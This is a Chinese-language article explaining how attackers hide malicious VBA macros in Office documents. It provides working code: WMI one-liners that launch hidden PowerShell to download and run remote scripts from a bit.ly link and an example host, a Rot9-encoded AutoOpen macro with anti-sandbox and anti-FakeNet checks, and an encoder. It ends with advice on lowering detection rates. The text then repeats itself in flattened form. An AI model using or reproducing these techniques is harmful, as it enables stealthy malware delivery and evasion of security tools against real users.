攻击者是如何隐藏恶意VBA 代码行为的
字数 1286 2025-08-19 12:40:43

恶意VBA代码隐藏技术详解

1. 进程创建方法比较

在VBA中创建进程有多种方法,每种方法都有其优缺点:

1.1 传统方法

  • Shell$、Shell或WScript.Shell.Run
    • 父进程显示为Office应用程序进程
    • 容易被发现,特别是创建powershell.exe时
    • 业务进程常用这些方法运行reg.exe、ping.exe、cmd.exe等

1.2 WMI方法

  • 使用WMI创建进程
    • 进程由wmiprvse.exe(WMI服务进程)创建
    • 除非WMI活动被监视,否则不易被发现
    • 业务进程很少使用WMI创建进程,因此一旦发现就很可疑
    • 总是包含三个VBA元素:GetObject()、Get()和.Create

2. Empire框架分析

PowerShell Empire的VBA构建器使用WMI创建进程:

  • 变量名和字符串会出现在文档的嵌入式OLE文件中
  • 默认存储在vbaProject.bin文件中
  • 许多元素是静态的,便于创建检测签名

优点

  • 可通过objConfig.ShowWindow=0实现"悄无声息"的进程创建
  • 若不设置此属性,进程会在任务栏短暂出现

一行代码实现

GetObject("winmgmts:\\.\root\cimv2").Get("Win32_Process").Create "cmd.exe /c powershell.exe -nop -w hidden -noni -c \"IEX ((new-object net.webclient).downloadstring('http://bit.ly/2KZ4IqN'))\"", Null, Null, intProcessID

3. 混淆技术

3.1 字符串反转

使用StrReverse()函数隐藏字符串:

  • 字符串可以存储在任何位置
  • 不必以GetObject()所需的形式存储
  • 未定义变量可用作Null,减少方法线索

3.2 有效载荷处理原则

  • 大小决定处理方式

    • 小有效载荷:无需太多重组
    • 大有效载荷:可能需要字符串连接(VBA最大字符串长度1024)
  • 应避免大量使用的函数

    • Left()、Right()、Mid()、Chr()、ChrW()等字符串操作函数
    • 简单的去混淆方法如"Chr(115) + Chr(116) + Chr(117)"容易被检测

3.3 高级混淆示例

  • 使用月份和工作日名称命名函数
  • 对所有字符串进行编码处理
  • 使用未初始化变量表示Null和0值
  • Rot9等非标准编码方式

PowerShell实现Rot9处理

[System.Text.Encoding]::ASCII.GetBytes("YourPayload") | % { $rot9 = ($_ + 9) % 256; "{0:D3}" -f $rot9 }

4. 反沙箱和反FakeNet技术

4.1 检测技术

  1. 检查location.microsoft.com

    • 若能解析或ping通,说明在FakeNet中(该域名不存在)
  2. 检查环境变量

    • 比较userdomain和computername值
    • 若相同,说明系统未加入域

4.2 实现方式

  • 使用WMI方法Win32_PingStatus
  • 使wmiprvse.exe成为与DNS和ICMP流量相关的进程
  • 避免流量来自WINWORD.EXE进程

5. 降低检出率的建议

  1. 避免使用攻击模拟框架中的代码

    • 安全公司会从中提取指纹
  2. 对有效载荷进行非标准加密或编码

    • 使静态分析难以识别
  3. 谨慎使用常见函数

    • 如必须使用Chr()等函数,应将其分散使用
  4. 构建高质量VBA代码

    • 结合多种混淆技术
    • 了解Office内部运行机制

6. 实际应用示例

6.1 简单混淆示例

Dim strCommand As String
strCommand = StrReverse("exe.elohwspower") & " -nop -w hidden -noni -c " & Chr(34) & "IEX (New-Object Net.WebClient).DownloadString('http://example.com/malicious')" & Chr(34)
GetObject("winmgmts:\\.\root\cimv2").Get("Win32_Process").Create strCommand, Null, Null, intProcessID

6.2 高级混淆示例

Function December(ByVal s As String) As String
    Dim i As Integer
    For i = 1 To Len(s) Step 3
        December = December & Chr(Val(Mid(s, i, 3)) - 9)
    Next i
End Function

Sub AutoOpen()
    If Not (Environ("userdomain") = Environ("computername")) Then
        If Not CanResolve("location.microsoft.com") Then
            Dim payload As String
            payload = December("122131134134040122131134134040122131134134040") ' Rot9混淆的payload
            GetObject("winmgmts:" & June("...")).Get(June("...")).Create payload, Null, Null, Null
        End If
    End If
End Sub

通过结合这些技术,可以显著降低恶意VBA代码被检测到的概率,同时保持其功能完整性。

恶意VBA代码隐藏技术详解 1. 进程创建方法比较 在VBA中创建进程有多种方法,每种方法都有其优缺点: 1.1 传统方法 Shell$、Shell或WScript.Shell.Run 父进程显示为Office应用程序进程 容易被发现,特别是创建powershell.exe时 业务进程常用这些方法运行reg.exe、ping.exe、cmd.exe等 1.2 WMI方法 使用WMI创建进程 进程由wmiprvse.exe(WMI服务进程)创建 除非WMI活动被监视,否则不易被发现 业务进程很少使用WMI创建进程,因此一旦发现就很可疑 总是包含三个VBA元素:GetObject()、Get()和.Create 2. Empire框架分析 PowerShell Empire的VBA构建器使用WMI创建进程: 变量名和字符串会出现在文档的嵌入式OLE文件中 默认存储在vbaProject.bin文件中 许多元素是静态的,便于创建检测签名 优点 : 可通过objConfig.ShowWindow=0实现"悄无声息"的进程创建 若不设置此属性,进程会在任务栏短暂出现 一行代码实现 : 3. 混淆技术 3.1 字符串反转 使用StrReverse()函数隐藏字符串: 字符串可以存储在任何位置 不必以GetObject()所需的形式存储 未定义变量可用作Null,减少方法线索 3.2 有效载荷处理原则 大小决定处理方式 : 小有效载荷:无需太多重组 大有效载荷:可能需要字符串连接(VBA最大字符串长度1024) 应避免大量使用的函数 : Left()、Right()、Mid()、Chr()、ChrW()等字符串操作函数 简单的去混淆方法如"Chr(115) + Chr(116) + Chr(117)"容易被检测 3.3 高级混淆示例 使用月份和工作日名称命名函数 对所有字符串进行编码处理 使用未初始化变量表示Null和0值 Rot9等非标准编码方式 PowerShell实现Rot9处理 : 4. 反沙箱和反FakeNet技术 4.1 检测技术 检查location.microsoft.com : 若能解析或ping通,说明在FakeNet中(该域名不存在) 检查环境变量 : 比较userdomain和computername值 若相同,说明系统未加入域 4.2 实现方式 使用WMI方法Win32_ PingStatus 使wmiprvse.exe成为与DNS和ICMP流量相关的进程 避免流量来自WINWORD.EXE进程 5. 降低检出率的建议 避免使用攻击模拟框架中的代码 : 安全公司会从中提取指纹 对有效载荷进行非标准加密或编码 : 使静态分析难以识别 谨慎使用常见函数 : 如必须使用Chr()等函数,应将其分散使用 构建高质量VBA代码 : 结合多种混淆技术 了解Office内部运行机制 6. 实际应用示例 6.1 简单混淆示例 6.2 高级混淆示例 通过结合这些技术,可以显著降低恶意VBA代码被检测到的概率,同时保持其功能完整性。